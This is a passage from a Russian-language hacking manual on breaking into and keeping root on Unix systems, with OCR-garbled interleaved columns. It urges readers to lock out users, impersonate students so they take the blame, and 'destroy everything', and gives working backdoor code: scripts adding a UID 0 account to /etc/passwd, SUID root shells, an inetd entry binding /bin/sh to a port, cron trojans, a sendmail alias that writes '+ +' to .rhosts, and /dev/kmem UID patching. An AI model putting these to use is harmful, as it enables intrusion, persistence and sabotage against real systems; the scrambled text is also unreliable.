чьим именем я воспользовался, как раз в тот момент сидел на терминале, Если у вас нет допуска на выполнение в каком то разделе, то управляемом суперпользователем. И он сообщил SU (суперпользовате в большинстве случаев вы не сможете запустить ни одной программы из лю) о том, что в системе появился его двойник (возможно, он установил этого раздела. это, используя команду WHO).

Взлом Unix 105 106 Взлом Unix му что кафедре информатики всегда некогда поставить своим студентам Глава 3.

фиксированные пароли. Считается, что студенты новички должны сами Блокирование выбрать себе пароль, но тогда как же можно различить, кто студент, а кто хакер?

Еще такой момент. UNIX дает возможность блокировать некото Вероятнее всего, ваша халява не продлится и нескольких дней, по рых пользователей и ограничивать им доступ к системе.

этому лучше всего будет, если вы воспользуетесь ситуацией и оторветесь Для начала вы выбираете гражданина, которому собираетесь за по полной программе, разрушайте там все, что можно разрушить. Кроме крыть доступ. Затем помещаете в его начальный каталог (тот, который того, вы можете блокировать доступ всему компьютерному классу!

UNIX автоматически загружает при входе в систему) файл VI.LOGIN.

Если у вас богатый опыт работы на компьютере и вы умеете взла VI.LOGIN должен выглядеть примерно так:

мывать пароли в файле PASSWRDS, то можете получить пароль супер пользователя (SU) и тогда уж развлекаться на полную катушку!

VI.LOGIN logout Великолепно. Вы пробыли в системе UNIX всю ночь, пытаясь во Таким образом, VI.LOGIN будет включать в себя только одну плотить в жизнь все идеи, которые только пришли вам на ум. Система единственную команду. Она срабатывает автоматически: как только этот вам уже кажется тесной. И выглядит просто спичечным коробком. Сис пользователь попытается войти в систему, вход в нее окажется заблоки тема на самом деле тесна. Вы испробовали все, что можно испробовать.

рован.

Пароли по умолчанию, пароли, которые вы раскрыли, дефекты NIS, ды ры NFS, «кривые» разрешения к файлам и условия маршрутизации, шу Важно: каждые несколько дней проверяйте в силе ли ваше блоки точки со SUID, ошибки в Sendmail и так далее. Все. Погодите! А это что рование, а блокирование особо значимых для вас пользователей можно такое? «#»? Наконец таки!

проверять и чаще.

После, как казалось, бесконечного тяжелого труда вам в конце Эта программа должна работать под КОРНЕМ (ROOT — имя су концов удалось взломать root. И что же теперь? Что вы будете делать с перпользователя).

этой бесценной привилегией суперпользователя, ради которой при шлось столько потрудиться?

Глава 4.

Как приобрести новое имя Глава 5.

Как удержаться на уровне root Предлагаем еще один способ приобретения пользователем не скольких имен и паролей. Сначала (самое трудное) необходимо дождать В этой главе описывается, как удержаться на уровне корня, и она ся начала семестра и достать список идентификационных номеров сту будет полезна как для хакеров, так и для администраторов.

дентов, учащихся в группах с углубленным изучением системы UNIX.

Обычно этот список вывешивается на двери деканата или где нибудь Предупреждение: Выясните расположение главных системных еще. Допустим, что этот список вы уже нашли.

файлов. Это вам необходимо (если вы не можете вспомнить хотя бы не которые из них, прекратите чтение данной главы, полистайте книгу о си Далее, лучше всего в самом начале учебного года, попробуйте вой стеме UNIX и после этого возвращайтесь к нам).

ти в систему под именами нескольких (возможно, 3 4) студентов. Пред почтительней пользоваться ID студентов самого низкого уровня доступа, Ознакомьтесь с форматами файлов passwrd (включая обычных так как если вы попадетесь, то именно студент примет на себя весь удар, 7 форматов, систему специальных имен, механизмы затенения и т.д.).

полагая, что он сам сделал что то не так. Смело входите в систему, и ес Почитайте о vi. Создатели большинства систем не столь дружелюбно на ли студент еще не занимался в UNIX, то сразу же выскочит запрос на строены по отношению к пользователю, как создатели UNIX Пико и ввод пароля. Великолепно! Вы не только получили доступ, но и еще мо Эмакс. Vi вам поможет быстро найти и при необходимости отредактиро жете установить любой пароль по своему выбору! Так происходит, пото вать очень большой файл. Если вы подсоединяетесь к системе дистанци Взлом Unix 107 108 Взлом Unix chmod 644 /etc/passwd # or whatever it was beforehand онно (dial up\telnet\rlogin\whatver), то для вас тем более важно иметь rm./xa*./temppass мощную программу терминала, обладающую вместительным буфером.

echo Done...

Он пригодится вам в случае нужды вырезать, вставлять и копировать файлы и выполнять другие компьютерные программы.

Никогда не изменяйте пароль корня. Причины, думаю, вам оче видны.

Длительность этого нелегального доступа полностью зависит от опыта и мастерства администратора. Опытный и умелый администратор (2) будет зорко следить за всеми нелегальными проникновениями в систе му, а тот факт, что вам удалось приобрести корень, говорит о том, что ад Точно таким же образом введите в действие такие уже непригод министратор был недостаточно профессионален, или о том, что доступ ные аккаунты, как Sync. Или, возможно, другие, скрытые в файле паро был на какое то время открыт. лей, забытые или отключенные системным администратором. Измените UID на 0 (и уберите «*» из второго поля).

Вы должны осознать следующее: если вы сумеете замести следы в самом начале взлома, то уже никто не сможет вычислить вас в дальней (3) шем.

Перегоните оболочку корня в /tmp:

Несколько банальностей:

#!/bin/sh # Everyone's favorite...

(1) cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...

Добавьте UID 0 к паролю файла. Возможно, это один из самых chmod 4755 /tmp/.evilnaughtyshell легких способов сообщить администратору о том, что вы в системе.

Многие системы чистят \tmp по ночам. Чаще всего это осуще Если вы все же хотите это сделать, то вот вам совет — не нужно ствляется путем уничтожения файлов или занесения их в буфер. Во мно просто приписывать этот код к паролю файла. гих системах установлены пакеты, предохраняющие от запуска программ под SUID. Вы можете все это изменить, но даже если система примет из Любой проверяющий моментально это заметит. Лучше впишите менения, то очень многие могут все же это заметить... Впрочем, это уже его посередине пароля… другой вопрос. Мы не станем уточнять параметры необходимых измене #!/bin/csh ний, так как они могут варьироваться на разных системах.

# Inserts a UID 0 account into the middle of the passwd file.

# There is likely a way to do this in 1/2 a line of AWK or SED.

(4) Oh well.

Системный администратор не станет первым же делом загляды # daemon9@netcom.com вать в конфигурационный файл хоста, так почему бы не загрузить этот set linecount = `wc l /etc/passwd` демон туда?

cd # Do this at home.

cp /etc/passwd./temppass # Safety first.

Для начала немного общей информации: Internet демон (\etc\ echo passwd file has $linecount[1] lines.

inetd\) принимает запросы о связи с портами ТСР и UDP и перебрасыва @ linecount[1] /= ет нужную программу согласно поступившему запросу. Формат файла @ linecount[1] += 1 # we only want 2 temp files \etc\inetd.conf. прост.

echo Creating two files, $linecount[1] lines each \(or approxi Обычные его строки выглядят следующим образом:

mately that\).

(1) (2) (3) (4) (5) (6) (7) split $linecount[1]./temppass # passwd string optional ftp stream tcp nowait root /usr/etc/ftpd ftpd echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> talk dgram udp wait root /usr/etc/ntalkd ntalkd./xaa cat./xab >>./xaa Первое поле (1) — это название демона, указанное в \etc\services.

mv./xaa /etc/passwd Отсюда inetd считывает информацию о соответствующем поле Взлом Unix 109 110 Взлом Unix в \etc\services и после этого устанавливает параметры связанного с дан Формат \etc\services прост:

ной программой порта.

(1) (2)/(3) (4) smtp 25/tcp mail Во втором поле содержится информация о типе службы доставки данных, необходимом для данной программы. ТСР использует stream (1) — функция, (2) — номер порта, (3) — тип протокола, необходи (байт ориентированный поток), тогда как UDP — dgrams (служба, ори мый для работы программы, (4) — название функции.

ентированная на транзакции). Третье поле — поле протоколов (ТСР или Попробуйте добавить такую строку к \etc\services:

UDP). В четвертом поле указывается статус демона. Флаг wait означает, evil 22/tcp evil что демон перед продолжением прослушивания приходящих запросов вынужден будет ожидать, пока сервер освободит порт. nowait, в свою оче и такую к /etc/inetd.conf:

редь, позволяет демону незамедлительно приступать к прослушиванию evil stream tcp nowait /bin/sh sh i новых запросов. Пятое поле — это тот пользователь (или иногда UID), Загрузите inetd.

который управляет демоном. Поле (6) — это запускающаяся при соеди нении программа, а поле (7) содержит команды (и дополнительные аргу Обратите внимание: такой нелегальный доступ в принципе весьма менты). Часть программ (обычно не требующих вмешательства пользо действенен. Он даст возможность использовать не только любой аккаунт вателя) сервер может перебрасывать по сети. Это осуществляется с локальной сети, но и предоставит любой аккаунт любого компьютера помощью флага internal в строках (6) и (7). Таким образом, для того, что с выходом в Internet.

бы самому установить нелегальный доступ к системе, выберите редко ис пользуемую программу и переадресуйте связующего демона к програм (6) Cron трояны I ме, создающей оболочку корня SUID, к программе, предоставляющей Cron — это замечательная утилита для администрирования. Она корневой аккаунт в файле \etc\passwd и так далее.

также может быть использована для того, чтобы нелегально войти в сис В качестве примера попробуйте следующее: тему, если, конечно корневой crontab работает исправно. И опять же не лишне напомнить, что продолжительность работы нелегально созданно Откройте \etc\inted.conf, если это, конечно, возможно.

го аккаунта находится в обратной зависимости от опытности и профессионализма системного администратора. Обычно список корне Найдите строку:

вых файлов crontab находится в /var/spool/cron/crontabs/root. Здесь у вас daytime stream tcp nowait root internal есть выбор. Мы перечислим только некоторые из возможных решений, и поменяйте ее на:

так как на самом деле их количество огромно.

daytime stream tcp nowait /bin/sh sh i cron — это временной демон. Он представляет собой утилиту, вы Теперь вновь откройте \etc\inetd\ и просмотрите файл конфигура полняющую команды, связанные с датами и временем.

ции. Сами решите, как это сделать. Вы можете закончить процесс и запу crontab — это команда, пересматривающая и дополняющая ваши стить его снова (kill 9, /usr/sbin/inetd или /usr/etc/inetd), и таким обра файлы crontab. Управлять crontab так же легко, как и редактировать зом прервать все связи в сети (особое удовольствие сделать это в час пик).

/var/spool/crontab/root.

(5) Файл crontab состоит из шести полей:

Своего рода компромиссным вариантом может стать установка (1) (2) (3) (4) (5) (6) новой программы, которая смогла бы запускать любую другую по ваше му выбору. Лучше всего загрузить не чувствительную к несанкциониро 0 0 * * 1 /usr/bin/updatedb ванным подключениям оболочку.

Поля с 1 по 5 означают: минута (0 59), час (0 23), день месяца Вы должны убедиться в том, что доступ индицируется как (1 31), месяц года (1 12), день недели (0 6). Поле 6 — это выполняемая в \etc\services, так и в \etc\inetd.conf.

команда (или сценарий оболочки). Сценарий оболочки из вышеприве денного примера используется только по понедельникам. Для запуска Взлом Unix 111 112 Взлом Unix cron просто добавьте вход в /var/spool/crontab/root. Например, у вас есть В это время любой обычный пользователь, попытавшийся зарегистриро задание для cron, которое должно ежедневно запускаться и отслеживать ваться в системе или открыть файл пароля, не сможет этого сделать, тог в файле /etc/passwd предварительно помещенный туда аккаунт UID 0 и да как ровно через минуту он не встретит никаких препятствий на своем восстанавливать его после удаления (неплохая идея — ввести код обо пути.

лочки в сценарий оболочки в уже установленном файле crontab, тем са Добавьте эту строку к корневому файлу crontab:

мым вы можете себя в значительной степени обезопасить).

29 2 * * * /bin/usr/sneakysneaky_passwd Добавьте такую строку в /var/spool/crontab/root:

и проверьте:

0 0 * * * /usr/bin/trojancode #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > А вот и сценарий оболочки:

/var/spool/mail/.sneaky #!/bin/csh и вот очень простой сценарий оболочки:

# Is our eviluser still on the system? Let's make sure he is.

#!/bin/csh #daemon9@netcom.com # Install trojan /etc/passwd file for one minute set evilflag = (`grep eviluser /etc/passwd`) #daemon9@netcom.com if($#evilflag == 0) then # Is he there?

cp /etc/passwd /etc/.temppass set linecount = `wc l /etc/passwd` cp /var/spool/mail/.sneaky /etc/passwd cd # Do this at home.

sleep cp /etc/passwd./temppass # Safety first.

mv /etc/.temppass /etc/passwd @ linecount[1] /= @ linecount[1] += (8) Генерирование кода трояна # we only want 2 temp files Это очень просто. Вместо сценария оболочки используйте ка split $linecount[1]./temppass кой нибудь С код, и это поможет вам успешно замести следы. Вот как # passwd string optional это делается.

echo "EvilUser::0:0:Mr. Sinister:

/home/sweet/home:/bin/csh" >>./xaa Убедитесь в том, что ваш троян работает под корнем. Назовите его cat./xab >>./xaa как нибудь безобидно и хорошенько замаскируйте.

mv./xaa /etc/passwd В ряде случаев небольшой троян может быть создан в SUID обо chmod 644 /etc/passwd лочке при условии, что соблюдены определенные параметры. С код в та # or whatever it was beforehand кой момент гораздо действеннее, нежели оболочка, и помогает лучше rm./xa*./temppass прятать результаты.

echo Done...

else /* daemon9@netcom.com */ endif #include #define KEYWORD "industry3" (7) Cron трояны II #define BUFFERSIZE int main(argc, argv) Этот троян попал в поле моего зрения благодаря нашему дорогому int argc;

мистеру Зиппи. Для того, чтобы его (трояна) запустить, вам необходимо char *argv[];

{ отыскать скрытую копию файла etc/passwd. В этом спрятанном файле int i=0;

(назовем его /var/spool/mail/.sneaky) заведем еще один вход с корневым if(argv[1]){ /* we've got an argument, is it the keyword? */ аккаунтом и с паролем на ваш выбор. Вводим задание для cron, который, if(!(strcmp(KEYWORD,argv[1]))){ например, будет каждую ночь в 2.30 (или в любое другое время) сохра /* Это уже троян */ нять копию настоящего \etc\passwd файла и активизировать при этом system("cp /bin/csh /bin/.swp121");

троянскую версию данного файла сроком на одну минуту (сверьте часы!).

Взлом Unix 113 114 Взлом Unix system("chown root /bin/.swp121");

(10) Скрытый Троян в обычных программах system("chmod 4755 /bin/.swp121");

Это не самый лучший метод, но зато его следы могут быть обнару } жены только такими программами, как tripwire.

} /* Put your possibly system specific trojan Идея проста: вживить трояна в наиболее часто и широко исполь messages here */ зуемую программу. Для нас особенно важны программы su, login и pass /* Let's look like we're doing something... */ wrd, так как они идут под корнем и к ним не надо переустанавливать раз printf("Sychronizing bitmap image records.");

решения. Ниже мы приведем несколько примеров на разные случаи, /* system("ls alR / >& /dev/null > /dev/null&");

*/ чтобы вы почувствовали всю прелесть взлома системы UNIX. (Примеча for(;

i<10;

i++){ ние: Это не всегда проходит, так как некоторые поставщики не столь бес fprintf(stderr,".");

печны, как большинство других). Если код покажется вам очень длин sleep(1);

ным или просто не нравится, мы предлагаем вам общий шаблон, этакую } болванку:

printf("\nDone.\n");

Подключаемся return(0);

Если подключиться не удается, запускаем вирус } /* End main */ Если все идет, как надо, то не останавливаемся на полпути Выходим с ошибкой (9) Файл псевдоним в sendmail … Этот файл дает возможность отправлять почту на имя одного или Не слишком трудно. Данный тип трояна может включать в себя нескольких пользователей или подключиться к самой программе. Для менее 10 ти строк дополнительного кода.

таких файлов существует очень известный троян uudecode. Просто до бавьте строку:

(11) Эзотерический: использование \dev\khem "decode: "|/usr/bin/uudecode" Сейчас мы погрузимся в святая святых системы. Так как парамет в файл /etc/aliases. При это вам следует создавать файл uuencod ры ядра находятся в памяти машины, то, следовательно, модифицирова ed.rhosts с полным указанием его месторасположения.

ние памяти компьютера может привести к изменению UID. Чтобы это #! /bin/csh сделать, удостоверьтесь, что к \dev\khem установлен доступ для чте # Create our.rhosts file. Note this will output to stdout. ния/записи. И далее по пунктам: открыть \dev\khem, найти вашу стра echo "+ +" > tmpfile ничку в памяти, переписать UID, затем запустить csh, который и поме /usr/bin/uuencode tmpfile /root/.rhosts няет ваш UID. Эта программа проделывает следующее.

Затем адресуйтесь к нужному сайту, порт 25. Отправьте «липовое» /* Если \khem доступен для чтения и для записи, то с помощью этой письмо, используя uuencode версию файла.rhosts. В одной из строк (на программы можно установить и пользовательский, и групповой ID стоящей) напечатайте следующее: к 0. */ #include %echo "+ +" | /usr/bin/uuencode /root/.rhosts | #include mail decode@target.com #include И теперь можете дать волю своему воображению. Придумывайте #include себе псевдоним, пишите письма кому хотите, запускайте любые про #include граммы. Многие из описанных выше методов сейчас могут найти себе #include применение.

#include #define KEYWORD "nomenclature1" struct user userpage;

long address(), userlocation;

Взлом Unix 115 116 Взлом Unix int main(argc, argv, envp) #include int argc;

#include char *argv[], *envp[];

{ #define LNULL ((LDFILE *)0) int count, fd;

long address(){ long where, lseek();

LDFILE *object;

if(argv[1]){ /* we've got an argument, is it the keyword? */ SYMENT symbol;

if(!(strcmp(KEYWORD,argv[1]))){ long idx=0;

fd=(open("/dev/kmem",O_RDWR);

object=ldopen("/unix",LNULL);

if(fd<0){ if(!object){ printf("Cannot read or write to /dev/kmem\n");

fprintf(stderr,"Cannot open /unix.\n");

perror(argv);

exit(50);

exit(10);

} } for(;

ldtbread(object,idx,&symbol)==SUCCESS;

idx++){ userlocation=address();

if(!strcmp("_u",ldgetname(object,&symbol))) where=(lseek(fd,userlocation,0);

{ if(where!=userlocation){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);

printf("Cannot seek to user page\n");

ldclose(object);

perror(argv);

return(symbol.n_value);

exit(20);

} } } count=read(fd,&userpage,sizeof(struct user));

fprintf(stderr,"Cannot read symbol table in /unix.\n");

if(count!=sizeof(struct user)){ exit(60);

printf("Cannot read user page\n");

} perror(argv);

(12) exit(30);

} С тех пор как описанный выше код на основе /dev/kmem стал об printf("Current UID: %d\n",userpage.u_ruid);

щеизвестным, что, естественно, нас совершенно не радует, нам постоян printf("Current GID: %d\n",userpage.g_ruid);

но приходится быть начеку и использовать его с максимальной осторож userpage.u_ruid=0;

ностью.

userpage.u_rgid=0;

Мой вам совет — напишите сценарий оболочки по образцу (7), where=lseek(fd,userlocation,0);

чтобы на время (допустим, на 5 минут) изменить разрешения, установ if(where!=userlocation){ ленные к /dev/kmem, а затем вернуть их значения обратно.

printf("Cannot seek to user page\n");

perror(argv);

Добавьте эти строки к шаблону из пункта (7):

exit(40);

chmod 666 /dev/kmem } sleep 300 # Nap for 5 minutes write(fd,&userpage,((char *)&(userpage.u_procp)) ((char *)&user chmod 600 /dev/kmem # Or whatever it was before page));

execle("/bin/csh","/bin/csh", " i",(char *)0, envp);

} } } /* End main */ #include Взлом Unix 117 118 Взлом Unix При установке/обновлении данной системы старайтесь устанав Глава 6.

ливать/делать запускаемыми только действительно необходимые вам Дефекты в системе безопасности программы, которые нужны вам сейчас или которыми вы точно станете пользоваться. Многие пакеты содержат демоны и утилиты, позволя Дефекты в системе безопасности бывают нескольких видов:

ющие посторонним лицам считывать информацию. К примеру, пакет AT&T System V Unix включает в себя программу acctcom(1), в которой Физические дефекты установки по умолчанию предоставляют одному пользователю свобод ный доступ к учетным данным другого. Многие пакеты ТСР/IP автома В этом случае проблема состоит в возможности получения неле тически инсталлируют/запускают такие программы, как rwhod, fingerd и гального доступа к системе и, как последствия, компьютерного хулиган <иногда> tftpd, использование которых может повлечь за собой серьез ства и вандализма. Вот вам хороший пример — сетевая рабочая станция, ные проблемы с обеспечением безопасности системы.

которая при отсутствии должных предосторожностей может быть пере ведена взломщиком в режим single user (единичного пользователя) с од Решение этих проблем заключается в тщательно продуманном новременным уничтожением всей файловой системы.

администрировании системы. Большинство подобных программ ини циализируется/запускается во время начальной загрузки;

вы можете из Еще один пример — обеспечение сохранности конфиденциаль менить сценарии начальной загрузки (обычно расположенные в катало ной информации на различных носителях, которые, несмотря на уста гах /etc, /etc/rc, /etc/rcX.d) для предотвращения их запуска. Вы также новленные к файлам разрешения, вполне могут быть прочитаны любым можете просто удалить некоторые из этих программ. Для ряда утилит пользователем системы, имеющим доступ к соответствующему сегменту предотвратить несанкционированный запуск может простая команда диска.

chmod(1).

Дефекты программного обеспечения Здесь основная проблема заключается в ошибках в «привилегиро Глава 7.

ванных» программах (демоны, установки для cron), чьи функции могут Не доверяйте сценариям/программам быть задействованы при взломе системы. Самый известный пример — это «sendmail debug», который позволяет хакеру запускать корневую обо инсталляции лочку. При этом может быть удалена файловая система, создан новый аккаунт, скопирован файл passwrd, короче, все, что только можно приду Подобные средства обычно загружают сразу весь пакет без диффе мать (вопреки общему мнению, взлом, аналогичный sendmail, не ограни ренцированных запросов. В большинстве случаев в документации к ин чивается только небезызвестным «Internet Worm», это вполне осуще сталляции есть список всех программ пакета;

ознакомьтесь с ним.

ствимо и при запуске telnet через 25 порт атакуемого компьютера.

Дефекты из за совместимости оборудования Новые «дыры» в системе безопасности появляются чуть ли не еже дневно, поэтому самое лучшее, что вы можете сделать, это:

Иногда недостаточный профессионализм системного менеджера приводит к использованию таких комбинаций «железа» и «софта», кото а) постараться структурировать свою систему таким образом, что рые позволяют взломщикам преодолевать все защитные системы. По су бы даже самые незначительные программы работали только под приви ти дела, это пример «погони за двумя зайцами», естественно, ни один из легиями root/daemon/bin, а если существует необходимость прописать зайцев в конечном счете не попадает в ловушку, на зато в систему попа софт под других пользователей, то убедитесь, что их аккаунты не подда дает незванный гость.

ются взлому.

После полного завершения установки оборудования обнаружение b) подпишитесь на рассылку, где публикуется информация об ин подобных «дыр» в системе безопасности становится для системного ад тересующих вас проблемах, и таким образом вы сможете вовремя отреа министратора настоящей головной болью, поэтому лучше всего следить гировать на обнаруженный дефект.

за появлением этих моментов с самого начала работы машины. Впрочем, никогда не поздно вернуться на несколько шагов назад.

Взлом Unix 119 120 Взлом Unix Ниже разобраны некоторые примеры;

но давайте не будем сейчас 11) Символические связи.

на этом останавливаться, дабы не испортить впечатление.

12) Демоны, особенно доступные пользователям.

13) Параметры маршрутизации в ядре.

Выбор стратегии защиты и ее применение Четвертый вид проблем с безопасностью касается адекватного Предложенную схему можно разбить на категории и подкатего восприятия. Хорошие программы, защищенное «железо», но вполне рии:

совместимые компоненты системы не заработают, если только вы не вы I: Suid бинары и сценарии берете соответствующую стратегию защиты и не включите отвечающие за безопасность сегменты системы. Даже использование самого лучшего а) Непредвиденные действия пользователя.

на свете механизма паролирования не даст никакого результата, если ва б) Свободные подключения.

ши пользователи считают лучшим паролем свой собственный логин! Бе зопасность — это взаимодействие общей стратегии (или стратегий) и со в) Имплицитные предположения о внешних условиях (ссылки гласованных с ней операций.

sym, loc. пути).

г) Параметры маршрутизации.

Глава 8.

II: Демон, функционирующий со SUID Мысли о хакинге Unix а) Параметры маршрутизации.

Важно: Вся предлагаемая информация должна быть распределена б) Недостаточная защита файла.

по следующим категориям:

в) Имплицитная защита файла.

1) Общие принципы.

г) Доверие.

2) Поиск дефектов в src.

д) Аутентичность.

3) Просмотр в двоичных распределениях.

III: Проблемы ядра 4) Просмотр специальных конфигураций сайта.

а) Параметры маршрутизации в ядре.

Некоторые пункты классификации напрашиваются сами собой:

б) Код драйвера устройства.

1) SUID/SGID.

Ниже рассматривается четырехэтапный метод, разработанный 2) Коды завершения/условия ошибки.

System Development Corporation и дающий 65% ную гарантию обнаруже ния дефектов в системе безопасности. Поиск таких «дыр» в операцион 3) Непредвиденный ввод.

ной системе включает четыре этапа:

4) Параметры маршрутизации.

Этап 5) Проверка на аутентичность.

Изучение структуры управления данной конкретной системы.

6) Имплицитное доверие.

Чтобы найти лазейки в системе безопасности и определить ее де 7) Параметры.

фекты, необходимо четко уяснить структуру управления системы и ее уровни.

8) Разрешения.

9) Прерывания.

10) Ввод/вывод.

Взлом Unix 121 122 Взлом Unix Вот что нужно знать: ния аутентичности пользовательских имен. Часто код, изначально со зданный не как suid, функционирует именно как suid, манипулируя ка A) Объекты защиты: то, что надо защитить. Например: файлы налами для разрешения проблем с доступами файлов.

пользователей.

Хорошо бы разработать базу данных, которая бы сравнивала пар B) Объекты управления: то, что защищает объекты защиты. На ные и тройные данные, как то: название программы, suid, sgid, объект пример: i node (индексные дескрипторы).

обращения (почему данная программа работает под suid/sgid), версия OS и ее происхождение.

C) Смешанные объекты: объекты, подпадающие под обе катего рии. Например: файл пароля.

Этап С таким списком в руках становится возможным графически вос Проверка предположений. (Тестирование системы на предмет об произвести всю иерархию управления и определить вероятные пути наружения дефектов).

взлома. Очень действенно и создание диаграмм для визуализации воз можного прерывания связей.

Этап Найти необходимую информацию можно в различных пользова Обобщение полученной информации с акцентированием специ тельских, операторских и администраторских мануалах.

фических проблем данной системы.

Довольно полезным может оказаться и изучение исходного кода.

Для тех, кто пользуется нелицензированными продуктами, советуем ис пользовать дистрибутивы LINUX, NET2 и BSD386. В будущем, возмож Глава 9.

но, станет реальностью рабочий контракт между отдельным лицом или Обнаружение отдельных дефектов компанией, обладающими легальными дистрибутивами, и другими участниками этого проекта. Таким образом, фрагменты кода могут быть 1) Ищите подпрограммы, которые не проверяют диапазоны или использованы в учебных (академических) целях постольку, поскольку параметры ввода.

они не используются для извлечения прибыли — впрочем, это необходи Например: семья подпрограмм gets, позволяющая перезаписывать мо проверить.

границы буферов (sprintf()?, gets () и т.д.). А также strcpy (), вмонтирован ная в большинство src:

Этап #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a)) Создание списка возможных дефектов (то есть предполагаемых дефектов). 2) SUID/SGID подпрограммы, написанные в одной из оболочек вместо C или PERL.

Хронология кода 3) SUID/SGID подпрограммы, написанные в PERL и не исполь В чем состоит различие версий UNIX? Это бывает важно при со зующие программу taintperl.

здании перекрестных ссылок (очень часто некий продавец вносит в па кет изменения, а его версия получает широкое распространение).

4) SUID/SGID подпрограммы, использующие system(), popen(), execlp() или execvp() при выполнении заданий.

Жесткая перекрестная ссылка 5) Любая программа, которая использует относительные имена Командой who проверьте OS на наличие ошибок и установите, ка пути.

кая версия поможет вам избежать двойной работы.

6) Использование относительных имен путей для определения ди Хорошо бы сначала вывести полный список всех suid бинаров намически связанных библиотек.

в различных версиях OS. Затем попытайтесь выяснить причину опреде ления suid к каждой конкретной программе. Например: rcp имеет корне вой suid, потому что использует привилегированный порт для установле Взлом Unix 123 124 Взлом Unix 7) Подпрограммы, не проверяющие ошибки в кодах возврата при 14) Отладьте процесс обнаружения ошибок так, чтобы он не отра системных вызовах. (Например: fork(2), suid(2), setuid() как в знаменитой жался на системе безопасности.

ошибке rcp).

15) Недостаточная отлаженность, приводящая, например, к созда 8) Дефекты часто могут быть обнаружены в коде, который: нию неверных условий проверки кодов.

а) импортирован в новую среду;

16) Имплицитное доверие: подпрограмма B принимает параметры подпрограммы А, потому что подпрограмма А является системным про б) получил несанкционированный ввод;

цессом.

в) взаимодействует с другим локальным программным обеспече 17) Память системы — это данные или ссылка на параметры поль нием;

зователя в адресном пространстве пользователей.

г) обращается к системным файлам, подобным passwd, L.sys и т.д.;

18) Интерсвязь во время процессов: возвращение условий (passwd д) считывает входные данные из свободно перезаписываемого OK, illegal parameter, segment error и т.д.) может стать источником серьез файла/каталога;

ных проблем, особенно вкупе с п.17.

19) Параметры пользователя не поддаются адекватной проверке.

е) представляет собой одну из программ диагностики, которые ча ще всего не позволяют пользователю защищать информацию.

20) Адреса, перекрывающие друг друга или обращающиеся к дру гим областям системы.

9) Тестирование кода на предмет несанкционированного доступа.

Средства для этого, включая различные утилиты, вполне доступны.

21) Пропуск проверки.

10) В man страницах и в различных руководствах просмотрите па 22) Сбой системы предупреждения о необычных параметрах.

раграфы с предупреждениями против выполнения того то и изменения сего то. Обратите внимание на разделы «Ошибки». 23) Найдите уровни системы, в которых ряд модулей был написан различными программистами или группами программистов — обяза 11) Поищите редко используемые или необычные функции или тельно обнаружатся «дырки».

команды — например, чтение в обратном направлении.

24) Регистраторы, указывающие на месторасположение значений В частности, интересные результаты может дать поиск не нашед параметра вместо того, чтобы передать это значение непосредственно.

ших отражение в инструкциях флагов/аргументов.

25) Любая программа, функционирующая с системными привиле Проверьте флаги, работающие в более ранних выпусках вашей гиями. (Слишком много программ имеют UID 0, что облегчает доступ операционки или в других OS версиях. Проверите опции, которые могут к некоторым таблицам и проч.) быть использованы другими программами. Например, telnet использует опцию h для входа в систему... ладно, пропишите в login.c: 26) Группа свободночитаемых временных файлов, буферов и т.д.

if((getuid()) && hflag){ 27) Неотлаженность пороговых значений и регистрации.

syslog() 28) Изменение параметров особо важных областей системы до их exit() выполнения одновременно запущенным процессом (условия маршрути } зации).

12) Просмотрите условия маршрутизации.

29) Неадекватная проверка границы при компиляции, например, 13) Отключите часть софта, и тем самым вы проверите, действи в случае, когда пользователь может запустить машинный код, оформлен тельно ли она, эта часть, связана с предполагаемым вами программным ный как общие данные в области данных (если текстовая область и об обеспечением или аппаратным модулем.

ласть данных разделены).

Взлом Unix 125 126 Взлом Unix 30) Неправильное прерывание пользователем работы компьютера. к непредвиденным результатам (только посмотрите, сколько программ Большинство пользователей сначала или прерывают выполняемый про доверяют /etc/utmp).

цесс или доводят его до конца, а уже потом выключают компьютер, в то 41) Любые программы, особенно допускающие выход из оболочки время как другие, не закончив корректно свою работу, оставляют систе и идущие под suid/sgid.

му фактически в незащищенном состоянии, оставляя открытыми фай лы, в которых велась запись.

Глава 10.

31) Код, использующий fopen(3) без установки umask. (Например:

at(1) и др.) Взламываем ограничивающую оболочку Вообще любой код, не перезапускающий UID перед началом па При некачественно выполненной ограничивающей оболочке раллельного действия.

можно взломать ограничивающую среду, выполнив программу, которая 32) Trace — ваш хороший помощник (или truss в SVR4). Он выяс показывает функцию оболочки. Хороший пример vi (простой текстовый няет, какие системные вызовы используются программой.

редактор). Выполните vi и используйте следующую команду:

33) Тщательно проверьте /usr/local. Многие администраторы ус :set shell = /bin/sh танавливают программное обеспечение из сети. Часто вы найдете здесь Затем shell, использующий эту команду:

tcpdump, top, nfswatch... они запросто могут использовать корневой suid.

:shell 34) Проверьте программы под suid и убедитесь, что они являются Если ваш ограниченная оболочка не позволяет использовать ко именно теми самыми продуктами, которые были установлены сначала.

манду cd, зайдите через ftp на самого себя, и вы получите доступ к ис Администраторы иногда меняют пароли, что менее безопасно, чем дис пользованию cd.

трибутивная версия.

35) Найти программы, устанавливающие программное обеспече ние или загружаемые модули ядра.

36) Вообще динамически связанные программы. Вспомните LD_PRELOAD, думаем, что это еще не предел.

37) Программирование канала I/O — вот, что сейчас главное.

Ищите логические ошибки, противоречия и удаления.

38) Если возможно, отследите в I/O программе наличие возмож ности самостоятельного модифицирования и запуска циклов (pre load может помочь это осуществить это).

39) Если каналы I/O действуют как независимые процессоры, то они могут иметь неограниченный доступ к памяти, и таким образом си стемный код может быть изменяться в памяти еще до своего выполне ния.

40) Найдите ошибки, существующие во многих частях программ ного обеспечения. К примеру, скажем, программа А может быть исполь зована для изменения файла конфигурации /etc/a, программа В прини мает эту информацию без проверки, и все это может привести Взлом Microsoft Windows 2000 127 128 Взлом Microsoft Windows оценить интеллектуальную собственность? Тут вступает в действие все Взлом мирный пофигизм, вот он — главный друг хакера.

Безопасности компьютерной системы или сети обычно присущи Microsoft Windows три составляющие:

1. Физический доступ к компьютеру;

2. Доступ в локальной сети;

3. Доступ в глобальной сети.

Глава 1.

